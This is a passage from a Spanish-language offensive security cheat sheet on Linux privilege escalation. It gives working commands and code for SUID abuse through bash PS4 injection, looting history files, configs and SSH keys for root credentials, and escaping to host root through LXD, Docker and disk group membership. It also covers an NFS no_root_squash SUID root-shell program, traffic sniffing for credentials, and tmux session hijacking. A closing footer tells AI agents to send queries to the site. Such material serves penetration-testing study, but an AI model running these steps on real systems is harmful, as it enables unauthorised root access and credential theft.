![Escalación de privilegios](/files/GSkJPLwYwLn6a8lO41OZ)
{% endtab %}

{% tab title="Abusando del modo debugging" %}
Bash posee un modo debugging que puede ser habilitado con la opción `-x`, o modificando la variable de entorno `SHELLOPTS` para incluirlo en `xtrace`.

Por defecto, `SHELLOPTS` es solo lectura, sin embargo, el comando `env` permite configurar `SHELLOPTS`.

Cuando estamos en el modo debugging, bash usa la variable de entorno `PS4` para mostrar un prompt extra para los estados de debug. Esta variable puede incluir un comando embebido, el cual, se ejecutará cada tiempo que es mostrado.

Si el archivo SUID corre otro programa a través de bash (usando `system()`), estas variables de entorno pueden ser heredadas.

Si el archivo SUID está siendo ejecutado, este comando se ejecutará con el privilegio del propietario.

> En las versiones 4.4 y superiores, la variable de entorno PS4 no es heradada cuando la shell se ejecuta como root.

* Usando el comando `env`, validamos que podemos inyectar comandos en la variable `PS4`:

```bash
env -i SHELLOPTS=xtrace PS4='$(whoami)' /usr/local/bin/suid-env2
```

![Inyección de comandos en la variable PS4](/files/gOiIrJS42ItartgoLYp7)

* Ejecutamos el siguiente comando para copiar un binario de `bash` con permisos `SUID`:

![Copia del binario bash](/files/Kb56wkDELG7zkGZX2k7K)

* Escalamos privilegios uando el binario con permisos SUID:

```bash
./rootbash -p
```

![Escalación de privilegios](/files/opCmsXJ1riIKMEAwdTNT)
{% endtab %}
{% endtabs %}

### Encontrando credenciales

Cuando hacemos una evaluación de seguridad, podemos encontrar almacenamientos débiles de contraseñas, o que las contraseñas estan siendo reutilizadas, lo cual, podría ser una forma fácil de escalar privilegios.

Muchas de estas contraseñas se encuentran archivos de configuración (`.conf`, `.config`, `.xml`, `.bak`, entre otros).

A diferencia de otras contraseñas que podrían ser encontradas almacenadas en texto plano, la de root se encuentra de forma segura en formato de hash en `/etc/shadow`. Pero, si el usuario de root reutiliza su contraseña para los servicios, estas pueden ser usadas para obtener privilegios de root.

{% tabs %}
{% tab title="History" %}
Los comandos utilizados por un usuario son registrados en el archivo `history`, el cual, podría contener contraseñas ingresadas por el usuario.

Si hacemos un `ls -la` en el directorio home del usuario, podemos ver que tenemos varios archivos history:

![Archivos history](/files/nLvqeQLh9TvE1oZMTOWe)

Si leemos dichos archivos, podemos encontrar la contraseña de root:

```bash
cat .*history
```

![Credenciales en archivos history](/files/AIHH4389dvuexWmT5TtG)
{% endtab %}

{% tab title="Archivos de configuración" %}
Podemos usar el siguiente comando para encontrar archivos de configuración, basados en el nombre de este:

```bash
find / ! -path "*/proc/*" \( -iname "*config*" -or -iname "*.conf" \) -type f 2>/dev/null
```

También, podriamos buscar en directorios como el home, para ver si tenemos otros archivos de configuración que no contengan la palabra `config` o `.conf`:

![Archivos de configuración con credenciales](/files/N0llafXoNgSBYg5cWavk)
{% endtab %}

{% tab title="Llaves SSH" %}
Las llaves SSH pueden ser usadas para la autenticación en caso de que no tengamos la contraseña del usuario.

Estas se encuentran en pares: una privada y una pública. Si se obtiene la llave privada, podríamos conectarnos a la máquina local, o a una remota.

> Para saber los equipos remotos, podemos buscar en el archivo `known_hosts`.

Estas llaves por lo general son almacenadas en directios llamados `.ssh`, por lo tanto, si buscamos por ellos, podemos encontrar las llaves que necesitamos:

```bash
find / -name .ssh -type d 2>/dev/null
```

![Llave SSH](/files/bFMTttcHmUzujnkkeQcx)

Copiamos la llave en el directorio temporal, le cambiamos los permisos y la usamos para conectarnos como root:

```bash
cp /.ssh/root_key /tmp/root_key && chmod 600 /tmp/root_key
ssh root@127.0.0.1 -i /tmp/root_key
```

![Escalación de privilegios](/files/lYlvun2FARgF8u4hgPWg)
{% endtab %}
{% endtabs %}

### Privilegios de grupos

{% tabs %}
{% tab title="LXC/LXD" %}
LXD es similar a Docker y es el administrador de contenedores de Ubuntu. Cuando se instala, todos los usuarios se agregan al grupo LXD, el cual, puede ser utilizado para aumentar privilegios creando un contenedor, haciendolo privilegiado, donde, podemos acceder al sistema de archivos del host en `/mnt/root`:

```bash
id
```

![Miembro del grupo LXD](/files/X4ReAUJBUPgxIZr6qL1h)

Descomprimimos la imagen Alpine:

```bash
unzip alpine.zip
```

![Alpine](/files/60glw9dRDZL3FYT0v5mS)

Ejecutamos el proceso de inicialización de LXD (elegimos los valores por defecto):

> Para mayor información, referirse al siguiente [post](https://www.digitalocean.com/community/tutorials/how-to-set-up-and-use-lxd-on-ubuntu-16-04).

```bash
lxd init
```

![Inicialización de LXD](/files/Swj2eLmQ7xy2yOrvmbqE)

Importamos la imagen local:

```bash
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
```

![Importación de imagen](/files/zZWfPK4PnNs61wdLPL6R)

Iniciamos un contenedor con privilegios con la opción `security.privileged` configurado en `true`, para poder correr un contenedor sin mapeo UID, haciendo al usuario root del contenedor igual como el root del host:

```bash
lxc init alpine r00t -c security.privileged=true
```

![Modificación de privilegios](/files/2096SURT1RANr0EDh8b0)

Montamos el sistema de archivos del host:

```bash
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
```

![Sistema de archivos](/files/OXRgVNSietxnwAzRdZZW)

Finalmente, obtenemos una shell dentro de la instacia del contenedor. Ahora podemos navegar por el sistema de archivos del host montado como root. Por lo tanto, si queremos ir al directorio home de root, podemos hacerlo con el comando `cd /mnt/root/root`:

```bash
lxc start r00t
lxc exec r00t /bin/sh
```

![Escalación de privilegios](/files/9JnMIIguyr3JpXhwxQZo)
{% endtab %}

{% tab title="Docker" %}
Colocar un usuario en el grupo `docker` es esencialmente equivalente al acceso de nivel de root al sistema de archivos sin necesidad de una contraseña.

Los miembros del grupo docker pueden generar nuevos contenedores docker.

Por ejemplo, con el siguiente comando, creamos una nueva instacia de Docker con el directorio /root en el sistema de archivos del host montado como un volumen:

```bash
docker run -v /root:/mnt -it ubuntu
```

Con esto, podríamos encontrar llaves SSH u otra información que nos permita escalar privilegios. Por lo tanto, se podría montar cualquier directorio.
{% endtab %}

{% tab title="Disco" %}
Los usuarios dentro del grupo de `disk` tienen acceso total a cualquier dispositivo contenido en `/dev`, como `/dev/sda1`, que suele ser el dispositivo principal utilizado por el sistema operativo.

Un atacante con estos privilegios puede usar `debugfs` para acceder a todo el sistema de archivos con privilegios de nivel root. Al igual que con el ejemplo del grupo Docker, esto podría aprovecharse para recuperar claves SSH, credenciales o para agregar un usuario.
{% endtab %}

{% tab title="ADM" %}
Los miembros del grupo `adm` pueden leer todos los registros almacenados en `/var/log`. Esto no otorga acceso como root, pero podría aprovecharse para recopilar datos confidenciales almacenados en archivos de registro o enumerar las acciones del usuario y ejecutar cron jobs:

```bash
id
```

![Miembro del grupo ADM](/files/5Rec3OziflOnno8yHcpR)
{% endtab %}
{% endtabs %}

### Técnicas misceláneas

{% tabs %}
{% tab title="Captura de tráfico de forma pasiva" %}
Si tenemos instalado `tcpdump`, usuarios privilegiados pueden capturar tráfico de la red, donde, se pueden encontrar intercambio de credenciales en texto plano.

Existen múltiples herramientas (como [net-creds](https://github.com/DanMcInerney/net-creds) y [PCredz](https://github.com/lgandx/PCredz)) que nos pueden ayudar a analizar el tráfico capturado en busqueda de credenciales. Se pueden detectar:

* Números de tarjetas de crédito
* Credenciales o hashes de los siguientes protocolos:
  * SNMP
  * NTLMv2
  * SMBv2
  * Kerberos
  * HTTP
  * FTP
  * POP
  * IMAP
  * Telnet
  * SMTP
    {% endtab %}

{% tab title="Privilegios débiles en servicio NFS" %}
NFS permite a los usuarios acceder a archivos y directorios compartidos a través de la red alojados en sistemas Linux. Este trabaja con el puerto `TCP/UDP 2049`, y cualquier montaje accesible puede ser listado usando los siguientes comandos:

```bash
showmount -e <target>
nmap -sV -script=nfs-showmount <target>
```

![Servicio NFS](/files/dDZo8lVUZN5bmHoZi03d)

Cuando los volumenes NFS son creados, se pueden configurar las siguientes opciones:

* `root_squash`: si el usuario root es usado para acceder a los recursos compartidos por NFS, será cambiado por el usuario `nfsnobody`, el cual, es una cuenta sin privilegios
* `no_root_squash`: los usuarios remotos que se conectan a los recursos compartidos usando el usuario root, podrán crear archivos en el servidor NFS como el usuario root. Esto permitiría la creación de scripts/programas con el bits SUID configurado

Si al revisar el archivo `/etc/exports` vemos que tiene los directorios con la opción `no_root_squash`, podemos hacer lo siguiente:

![Opción no\_root\_squash](/files/bPqYI1PXgNbGhKKtYaVE)

* Crear el siguiente archivo C:

```c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
  setuid(0); setgid(0); system("/bin/bash");
}
```

* Compilamos nuestro archivo:

```bash
gcc shell.c -o shell
```

* Montamos el directorio `/tmp`:

```bash
mount -t nfs 10.129.2.210:/tmp /mnt
# También se puede usar el siguiente comando
mount -o rw,vers=2 <target>:<share> <local_directory>
```

* Copiamos el binario y le damos permisos de SUID:

```bash
cp shell /mnt
chmod u+s /mnt/shell
```

![Permisos del binario](/files/5i6NK1JdbeaU5KBMtucN)

* Ejecutamos el binarioL

```bash
./shell
```

![Escalación de privilegios](/files/4REGBIqJHsmcL9cQSAcp)
{% endtab %}

{% tab title="Hijacking de sesiones Tmux" %}
[Tmux](https://en.wikipedia.org/wiki/Tmux) es una herramienta que permite acceder a múltiples sesiones de terminal simultáneamente en una sola ventana.

Cuando estamos trabajando en `tmux` podemos salir de la sesión (sin cerrarla), en la cual, podemos dejar procesos ejecutandose (como por ejemplo, un escaneo de `nmap`).

Por muchas razones, un usuario puede dejar un proceso tmux ejecutándose como un usuario privilegiado, como root, al que le podemos hacer un hijacking. Esto se puede hacer con los siguientes comandos para crear una nueva sesión compartida y modificar la propiedad.

```bash
tmux -S /shareds new -s debugsess
chown root:devs /shareds
```

Si podemos comprometer el grupo `dev`, podríamos conectarnos a la sesión y ganar acceso como root.

Lo primero es validar el proceso `tmux` corriendo:

```bash
ps aux | grep tmux
```

![Sesión de Tmux](/files/tu7MhSzWUGMYdRf5gLzq)

Confirmamos los permisos:

```bash
ls -la /shareds
```

![Permisos](/files/7drCdPayW8lxzl1DY2Md)

Revisamos nuestros permisos:

```bash
id
```

![El usuario pertenece al grupo devs](/files/ojPHIYZxe3bnatZ6xUxa)

Ingresamos a la sesión de `tmux` y validamos los permisos del usuario con el cual quedamos conectado:

```bash
tmux -S /shareds
id
```

![Escalación de privilegios](/files/BtXqY3uQHtvbv3ULyNpf)
{% endtab %}
{% endtabs %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://w0lf-f4ng.gitbook.io/cheat-sheet/post-explotacion/escalacion-de-privilegios-en-entornos-linux.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
